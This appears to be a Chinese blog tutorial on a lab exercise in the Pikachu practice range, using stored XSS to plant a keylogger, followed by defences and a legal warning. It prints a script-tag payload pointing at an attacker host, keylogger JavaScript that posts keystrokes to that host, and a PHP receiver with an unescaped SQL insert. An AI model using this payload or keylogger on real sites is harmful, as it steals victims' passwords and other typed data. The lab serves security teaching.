Pikachu靶场利用XSS漏洞获取键盘记录

约 7 分钟读完

Pikachu靶场利用XSS漏洞获取键盘记录

1. 实验环境

  • 攻击方:部署在云服务器上的Pikachu靶场(记为A主机)
  • 被攻击方:部署在虚拟机上的Pikachu靶场(记为B主机)
  • 浏览器:建议使用IE浏览器(部分现代浏览器可能会过滤XSS)

攻击方Pikachu靶场

被攻击方Pikachu靶场

2. 攻击原理

  1. 漏洞利用:攻击者在被攻击方的Pikachu靶场中找到存储型XSS漏洞
  2. 脚本注入:构造包含恶意脚本的payload并提交
  3. 脚本执行:被攻击方服务器将恶意脚本存储到数据库
  4. 键盘记录:当其他用户访问包含恶意脚本的页面时,脚本会执行并记录用户的键盘输入
  5. 数据传输:记录的键盘数据被发送到攻击方的服务器
  6. 数据存储:攻击方服务器将键盘记录存储到数据库中

3. 攻击准备

3.1 配置攻击方脚本

  1. 找到rk.js脚本:在攻击方Pikachu靶场的 pikachu-master/pkxss/rkeypress 目录下
  2. 修改脚本地址:将脚本中的服务器地址修改为攻击方服务器的地址
  3. 查看rkserver.php:确保服务器端脚本正确配置

rkserver.php脚本分析

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */

// 包含配置和MySQL连接文件
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';

// 建立数据库连接
$link = connect();

// 设置允许跨域请求的头信息
header("Access-Control-Allow-Origin:*");

// 从POST请求中获取数据
$data = $_POST['datax'];

// 构建插入数据到'keypress'表的SQL查询
$query = "insert keypress(data) values('$data')";

// 执行SQL查询
$result = mysqli_query($link, $query);

?>

3.2 构造Payload

<script src="http://攻击方IP/pikachu-master/pkxss/rkeypress/rk.js"></script>

攻击方IP 替换为实际的攻击方服务器IP地址。

4. 攻击步骤

  1. 找到XSS漏洞:在被攻击方的Pikachu靶场中找到存储型XSS漏洞(通常在留言板或评论功能中)
  2. 提交Payload:在输入框中输入构造好的Payload并提交
  3. 诱导访问:诱导其他用户访问包含恶意脚本的页面
  4. 记录键盘输入:当用户在页面上进行键盘输入时,输入内容会被记录
  5. 查看记录:在攻击方Pikachu靶场的键盘记录页面查看获取到的键盘输入

4.1 详细操作

  1. 访问被攻击方靶场:打开浏览器,访问被攻击方的Pikachu靶场
  2. 找到存储型XSS:导航到存储型XSS测试页面
  3. 输入Payload:在输入框中粘贴构造好的Payload
  4. 提交数据:点击提交按钮,将恶意脚本提交到服务器
  5. 访问页面:再次访问该页面,此时恶意脚本会自动执行
  6. 测试键盘输入:在页面上输入一些内容,如"hello"
  7. 查看记录:在攻击方靶场的键盘记录页面查看捕获到的输入

提交Payload

测试键盘输入

查看键盘记录

5. 键盘记录脚本分析

5.1 rk.js脚本工作原理

// 简化后的rk.js脚本逻辑

// 1. 创建一个数组存储键盘输入
var keys = [];

// 2. 监听键盘按下事件
document.addEventListener('keydown', function(e) {
  // 记录按键信息
  keys.push({
    key: e.key,
    time: new Date().getTime()
  });
  
  // 当记录的按键达到一定数量时发送数据
  if (keys.length > 10) {
    sendKeys();
  }
});

// 3. 发送键盘记录到服务器
function sendKeys() {
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://攻击方IP/pikachu-master/pkxss/rkeypress/rkserver.php', true);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.send('datax=' + encodeURIComponent(JSON.stringify(keys)));
  
  // 清空记录
  keys = [];
}

// 4. 定期发送记录
setInterval(sendKeys, 5000);

6. 防御措施

6.1 服务器端防御

  1. 输入验证:对所有用户输入进行严格验证,过滤或转义特殊字符
  2. 输出转义:对所有输出到页面的内容进行适当的转义
  3. 使用CSP:设置内容安全策略(CSP),限制脚本的来源
  4. HttpOnly Cookie:设置Cookie的HttpOnly属性,防止JavaScript访问Cookie
  5. 使用现代框架:使用现代前端框架,它们通常会自动处理XSS防护

6.2 客户端防御

  1. 保持浏览器更新:使用最新版本的浏览器,它们通常包含安全补丁
  2. 使用安全插件:安装广告拦截器和XSS过滤器等安全插件
  3. 谨慎访问链接:不要点击来源不明的链接
  4. 使用HTTPS:只在使用HTTPS的网站上输入敏感信息
  5. 定期清除Cookie:定期清除浏览器Cookie,减少被攻击的风险

7. 法律风险

请注意,未经授权使用XSS技术获取他人键盘记录是违法的,可能会导致严重的法律后果。本教程仅用于安全教育目的,请勿用于非法活动。

8. 实验总结

通过本实验,我们学习了如何利用存储型XSS漏洞获取用户的键盘记录。这展示了XSS漏洞的严重性,它不仅可以用来窃取Cookie,还可以用来记录用户的键盘输入,包括密码、信用卡信息等敏感数据。

网站管理员应该采取有效的防御措施来防止XSS漏洞,用户也应该提高安全意识,避免成为XSS攻击的受害者。

9. 扩展思考

  1. 如何检测XSS漏洞:使用自动化工具或手动测试来检测网站中的XSS漏洞
  2. 如何修复XSS漏洞:学习如何正确地对输入和输出进行处理
  3. 如何提高网站安全性:了解其他常见的Web安全漏洞和防御措施
  4. 如何应对XSS攻击:当发现网站被XSS攻击时,应该采取哪些应急措施
← XSS简单利用 SQL注入攻击思路总结 →